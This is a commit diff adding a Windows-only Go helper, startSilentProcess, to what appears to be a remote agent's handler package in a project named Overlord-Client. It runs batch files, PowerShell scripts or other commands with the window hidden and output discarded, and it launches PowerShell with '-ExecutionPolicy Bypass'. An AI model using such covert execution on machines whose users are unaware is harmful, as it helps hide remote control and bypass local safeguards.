inital commit

Overlord-Client/cmd/agent/handlers/silent_exec_windows.go

@@ -0,0 +1,60 @@
+//go:build windows
+// +build windows
+
+package handlers
+
+import (
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+)
+
+func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error {
+	ext := strings.ToLower(filepath.Ext(command))
+
+	var cmd *exec.Cmd
+	switch ext {
+	case ".bat", ".cmd":
+		cmd = exec.Command("cmd.exe", append([]string{"/c", command}, args...)...)
+	case ".ps1":
+		cmd = exec.Command("powershell.exe", append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)...)
+	default:
+		cmd = exec.Command(command, args...)
+	}
+
+	if cwd != "" {
+		cmd.Dir = cwd
+	}
+
+	if hideWindow {
+		attr := &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+		nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
+		if err == nil {
+			cmd.Stdin = nullFile
+			cmd.Stdout = nullFile
+			cmd.Stderr = nullFile
+		}
+
+		cmd.SysProcAttr = attr
+		return cmd.Start()
+	}
+
+	switch ext {
+	case ".ps1":
+		psArgs := append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)
+		cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "powershell.exe"}, psArgs...)...)
+	case ".bat", ".cmd":
+		cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "cmd.exe", "/c", command}, args...)...)
+	default:
+		cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", command}, args...)...)
+	}
+	if cwd != "" {
+		cmd.Dir = cwd
+	}
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: false}
+	return cmd.Start()
+}